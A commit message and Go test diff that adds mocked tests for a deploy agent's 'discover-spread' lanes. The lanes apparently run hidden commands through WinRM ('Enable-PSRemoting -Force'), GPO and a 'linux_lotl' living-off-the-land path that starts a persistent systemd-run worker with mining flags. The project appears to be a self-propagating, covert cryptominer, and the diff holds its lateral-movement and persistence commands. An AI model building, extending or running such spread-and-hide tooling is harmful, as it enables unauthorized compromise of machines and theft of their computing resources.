Close automatable P2 test gaps with mocks and httptest integration.

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.

agent/deploy/discover_join_test.go

@@ -235,6 +235,78 @@ func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
 	}
 }
 
+func TestExecuteDeployPlanWinRMWithMockHiddenRun(t *testing.T) {
+	var got []string
+	SetHiddenRunFn(func(name string, arg ...string) error {
+		got = append(got, name)
+		return nil
+	})
+	defer SetHiddenRunFn(nil)
+
+	plan := DeployPlanBody{
+		JoinLane: "winrm",
+		Action:   "winrm",
+		Script:   "Enable-PSRemoting -Force",
+	}
+	msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "winrm") {
+		t.Fatalf("msg=%q", msg)
+	}
+	if len(got) == 0 || got[0] != "powershell" {
+		t.Fatalf("got hidden run=%v", got)
+	}
+}
+
+func TestExecuteDeployPlanGPOWithMockHiddenRun(t *testing.T) {
+	SetHiddenRunFn(func(name string, arg ...string) error { return nil })
+	defer SetHiddenRunFn(nil)
+
+	plan := DeployPlanBody{
+		JoinLane: "gpo",
+		Action:   "gpo",
+		Script:   "$env:AETHER_DEFER_MINING='1'",
+	}
+	msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "gpo") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestExecuteDeployPlanLinuxLOTLWithMockHiddenRun(t *testing.T) {
+	var invoked string
+	var args []string
+	SetHiddenRunFn(func(name string, arg ...string) error {
+		invoked = name
+		args = append([]string(nil), arg...)
+		return nil
+	})
+	defer SetHiddenRunFn(nil)
+
+	script := "systemd-run --user --unit=aetherforge-worker.service /opt/af/worker --run --defer-mining"
+	plan := DeployPlanBody{
+		JoinLane: "linux_lotl",
+		Action:   "linux_lotl",
+		Script:   script,
+	}
+	msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "linux lotl") {
+		t.Fatalf("msg=%q", msg)
+	}
+	joined := strings.Join(args, " ")
+	if !strings.Contains(joined, "systemd-run") {
+		t.Fatalf("invoked=%q args=%v", invoked, args)
+	}
+}
+
 func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
 	payload := []byte("webrtc-signed-plan")
 	sum := sha256.Sum256(payload)